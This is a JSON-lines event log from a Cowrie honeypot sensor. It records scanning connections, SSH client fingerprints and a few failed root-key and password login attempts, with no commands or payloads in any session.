{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:83:5d:bd:dd:7f:d3:37:3d:29:1c:9a:e0:87:b2:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCecmZiYMtoTROJWKkFXAhXvmyaIa+yhpjkMNa3C84rutnZPJ06Ug7eHLL5cpe/eS7tvGvjEIvWY7T7cvBM9yLusZhPpif+7mjjsCvcJ4JbVX2dtYQ66SWJQoeqdwdy/O0KrqYBbnMAVLJo5GY9CymWZbFhTdKSQXGFJAJVqXrPk8mUGC3HsvPGSUrhvVwZa8wcZtQg1TFQB03rW2yWHfIBkw0MuoJRFgwTTtraCxRp70BabHRIT6QZFCdPOmLtgJDVroLqRYINeE+Cx7NDQTkNEzffIIZP7et1nyRzDk8Xa4ENDRFfS672pUybJ074FkRzzpQVBECJcGFNV7ODIjIz0oVq0/f0qwahcuNT1T3qBKol/peZB0x1cPvm0Qpcui92IgzszI32N0sfbFxbZNNR0Yp9JzfjOHa6rGTYUHIRy++rjZncpBoy2EmwE603y3f8vVvECZjy5QLJDbgXaGFb4JstaoXe+JzYPTW46pvkpNLrBmAyKIanOblrSLaqkLc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.658226Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:28:0d:3b:03:fe:3b:53:18:7a:c5:74:57:b4:fe:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC33UXaC49g9pEtEdZnI/5oX36sFlsQC2dD4VDfw5a/MmHB2Zc1x/Al76xwiBfocorLbobwgFkQa243sgm7qNgrrwEYPViw8Pwmo3+bOCo1Of5JM4KFoFzUsf8GKZy0wMq+ehqpxCj5KFE5sq+iSl8zz7PkV0b3gP6Vt0LmyQKqIuwcXFxNrhr3mCvMEq4g6sz/m22+U6bIHU4giHhLuZj7le/gbhmSYLOuNJ3dJHYUKx9UVbu95GpKAwDiQu4Cr8b9aM5hoOS4Tri7Iun6ZyHG8yyIil8QAhKKFO6fqLAL4q0mDFwfIkoMLeyBJHnYu6npZT9olu8YgY0Z8w2ombc1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:28:0d:3b:03:fe:3b:53:18:7a:c5:74:57:b4:fe:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.772195Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:28:0d:3b:03:fe:3b:53:18:7a:c5:74:57:b4:fe:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC33UXaC49g9pEtEdZnI/5oX36sFlsQC2dD4VDfw5a/MmHB2Zc1x/Al76xwiBfocorLbobwgFkQa243sgm7qNgrrwEYPViw8Pwmo3+bOCo1Of5JM4KFoFzUsf8GKZy0wMq+ehqpxCj5KFE5sq+iSl8zz7PkV0b3gP6Vt0LmyQKqIuwcXFxNrhr3mCvMEq4g6sz/m22+U6bIHU4giHhLuZj7le/gbhmSYLOuNJ3dJHYUKx9UVbu95GpKAwDiQu4Cr8b9aM5hoOS4Tri7Iun6ZyHG8yyIil8QAhKKFO6fqLAL4q0mDFwfIkoMLeyBJHnYu6npZT9olu8YgY0Z8w2ombc1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.776021Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:d6:97:bf:b9:38:16:56:b4:6c:1f:ee:db:84:b4:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA45uSfFD/cDG1dByJ06fTiFYLlh23SBholIJvXivv+Bh5MDWvetRP9qUhUjIL6rUDPO4B3ot842121xalw9+06+bHoaL4fBVwjiHPz+mo67b/HUiaKW3tErl9b/l6BQUdzybw7vCmM5sdspftNwTHp5zcMYmDrr1w+afLnKBIgXAtZiKeCY08UfzJa+97wSXCxiYq6/bpkOgNmgzFvEKdTvNu6Cx31lsALNyGjymEjaAKBEJYPoZ8mxKmzv6vMJ8tWDXi69fxisW3xGVtIE79OBmGQ7HnLNEUYeOdTN6Glvd0SFLCc2rOC2iyxjpUPB+gvIU5almFTBAFeLZEEDldaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:d6:97:bf:b9:38:16:56:b4:6c:1f:ee:db:84:b4:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.893857Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:d6:97:bf:b9:38:16:56:b4:6c:1f:ee:db:84:b4:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA45uSfFD/cDG1dByJ06fTiFYLlh23SBholIJvXivv+Bh5MDWvetRP9qUhUjIL6rUDPO4B3ot842121xalw9+06+bHoaL4fBVwjiHPz+mo67b/HUiaKW3tErl9b/l6BQUdzybw7vCmM5sdspftNwTHp5zcMYmDrr1w+afLnKBIgXAtZiKeCY08UfzJa+97wSXCxiYq6/bpkOgNmgzFvEKdTvNu6Cx31lsALNyGjymEjaAKBEJYPoZ8mxKmzv6vMJ8tWDXi69fxisW3xGVtIE79OBmGQ7HnLNEUYeOdTN6Glvd0SFLCc2rOC2iyxjpUPB+gvIU5almFTBAFeLZEEDldaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.898252Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:38.032683Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60420,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b02091f7e0","protocol":"telnet","message":"New connection: 128.199.8.54:60420 (159.203.135.109:23) [session: 68b02091f7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:43.718792Z"}
{"eventid":"cowrie.session.closed","duration":36.38091540336609,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:44.612272Z","src_ip":"128.199.8.54","session":"2806063a3493","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.38","src_port":58146,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9343002defd","protocol":"telnet","message":"New connection: 64.62.156.38:58146 (10.17.0.5:23) [session: f9343002defd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:45.207920Z"}
{"eventid":"cowrie.session.closed","duration":2.0793404579162598,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:47.287137Z","src_ip":"64.62.156.38","session":"f9343002defd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40930,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc714a8f794a","protocol":"telnet","message":"New connection: 128.199.8.54:40930 (159.203.135.109:23) [session: dc714a8f794a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:51.181467Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":37446,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceec19bd2d95","protocol":"ssh","message":"New connection: 78.83.249.54:37446 (159.203.135.109:22) [session: ceec19bd2d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:55.196494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:55.201170Z","src_ip":"78.83.249.54","session":"ceec19bd2d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:55.320236Z","src_ip":"78.83.249.54","session":"ceec19bd2d95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"asdf1234","message":"login attempt [test1/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:55.829256Z","src_ip":"78.83.249.54","session":"ceec19bd2d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:56.951650Z","src_ip":"78.83.249.54","session":"ceec19bd2d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.438666105270386,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:04.210319Z","src_ip":"128.199.8.54","session":"57062673e0d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":7175,"dst_ip":"10.17.0.5","dst_port":23,"session":"82bf13d5d419","protocol":"telnet","message":"New connection: 212.55.149.117:7175 (10.17.0.5:23) [session: 82bf13d5d419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:09.170532Z"}
{"eventid":"cowrie.session.closed","duration":33.921594858169556,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:10.715832Z","src_ip":"128.199.8.54","session":"95f5860254fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43114,"dst_ip":"159.203.135.109","dst_port":23,"session":"1976c39cd1cb","protocol":"telnet","message":"New connection: 128.199.8.54:43114 (159.203.135.109:23) [session: 1976c39cd1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:17.445919Z"}
{"eventid":"cowrie.session.closed","duration":35.50247001647949,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:19.221142Z","src_ip":"128.199.8.54","session":"68b02091f7e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.92.108","src_port":18607,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eadb8bc1a09","protocol":"telnet","message":"New connection: 213.230.92.108:18607 (10.17.0.5:23) [session: 7eadb8bc1a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:20.762080Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":43158,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1710e03ad20","protocol":"ssh","message":"New connection: 194.59.206.2:43158 (10.17.0.5:22) [session: e1710e03ad20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:24.086825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:24.091854Z","src_ip":"194.59.206.2","session":"e1710e03ad20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:24.185903Z","src_ip":"194.59.206.2","session":"e1710e03ad20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:24.281703Z","src_ip":"194.59.206.2","session":"e1710e03ad20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.534464836120605,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:25.715854Z","src_ip":"128.199.8.54","session":"dc714a8f794a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":58242,"dst_ip":"10.17.0.5","dst_port":23,"session":"c03c286b9662","protocol":"telnet","message":"New connection: 68.178.168.57:58242 (10.17.0.5:23) [session: c03c286b9662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:27.326336Z"}
{"eventid":"cowrie.session.closed","duration":12.530550241470337,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:33.292517Z","src_ip":"213.230.92.108","session":"7eadb8bc1a09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":54364,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8bdf6ff6b29","protocol":"ssh","message":"New connection: 78.83.249.54:54364 (159.203.135.109:22) [session: a8bdf6ff6b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:44.732339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:44.738192Z","src_ip":"78.83.249.54","session":"a8bdf6ff6b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:44.857984Z","src_ip":"78.83.249.54","session":"a8bdf6ff6b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"password321","message":"login attempt [user1/password321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:45.370159Z","src_ip":"78.83.249.54","session":"a8bdf6ff6b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:46.495782Z","src_ip":"78.83.249.54","session":"a8bdf6ff6b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.76.202","src_port":60502,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa79bccc19a3","protocol":"ssh","message":"New connection: 136.243.76.202:60502 (10.17.0.5:22) [session: aa79bccc19a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.179202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.187486Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.283013Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":38440,"dst_ip":"10.17.0.5","dst_port":23,"session":"8322600466b7","protocol":"telnet","message":"New connection: 68.178.168.57:38440 (10.17.0.5:23) [session: 8322600466b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.468512Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:58:8f:ce:42:3c:13:ea:ba:ab:7c:7f:9b:92:9f:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDib6IZedGsR+eCcRJ5NiIcdm56VPKV9HAEPGas3RusjXrFGOQm7RoKx52jFDGwGHhRd4bPx1Q87UP+5eUJApReK66eO7jZo4Jj/RgJBjRp8/qZwCgnKqt3sZthi9pZ7w3gw72mSeImJxGBinXqk1bcxNB5+gW8+GWzpGhV3ghGUfsz3bPp17Wld6E94pxzMOvWQfkrPxs6wgAY2lJCseEUX7EiwhclYSKm8Aiemez5lwAXm6VX1Y6Z4WTePAmDdju87ppv4b69/Lax8k0khoR+tZEtbB7xv0QE57KeoRFh129OUVzjWCAHTQi8oeNOzxZ1lqI4bCqZOudIA8ZU8Ku7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:58:8f:ce:42:3c:13:ea:ba:ab:7c:7f:9b:92:9f:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.725616Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:58:8f:ce:42:3c:13:ea:ba:ab:7c:7f:9b:92:9f:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDib6IZedGsR+eCcRJ5NiIcdm56VPKV9HAEPGas3RusjXrFGOQm7RoKx52jFDGwGHhRd4bPx1Q87UP+5eUJApReK66eO7jZo4Jj/RgJBjRp8/qZwCgnKqt3sZthi9pZ7w3gw72mSeImJxGBinXqk1bcxNB5+gW8+GWzpGhV3ghGUfsz3bPp17Wld6E94pxzMOvWQfkrPxs6wgAY2lJCseEUX7EiwhclYSKm8Aiemez5lwAXm6VX1Y6Z4WTePAmDdju87ppv4b69/Lax8k0khoR+tZEtbB7xv0QE57KeoRFh129OUVzjWCAHTQi8oeNOzxZ1lqI4bCqZOudIA8ZU8Ku7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.729545Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:35:d3:8e:32:f6:7c:c1:1f:27:e3:e7:68:3f:9d:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4oIRYlhG7rSC96t/FrQumwgZhoDF/MIvV3k1tQec95Qrueo7OOVcGHSBe4YmaRRbbK3qvNq4YCZ0snviQK6TRMZS+4Ug13umXBfACg2/f6HAQ4KR5nr3xWpIE0jYSAxix3eIfUtkLhs9mk/X709EDlsNjJrR64Km4DoBvoyEZHNwHZ1w+W/2Uw70VlGAh8ajoSw7ufLHoR8OYiUAcZvKKWsY6wsdfuL94bcPiQ/FKHLFx/t/cq49Go3A9l5pTI7N/5NcA43/C+eXAnTr1R43irQHZ6ZmZ7wy7TksWl1GwcKGP+7f0EPmkNx7YfY+kSLDxyIASg6G7qNa5xvolKsdJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:35:d3:8e:32:f6:7c:c1:1f:27:e3:e7:68:3f:9d:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:13:48.823388Z","src_ip":"136.243.76.202","session":"aa79bccc19a3","protocol":"ssh"}
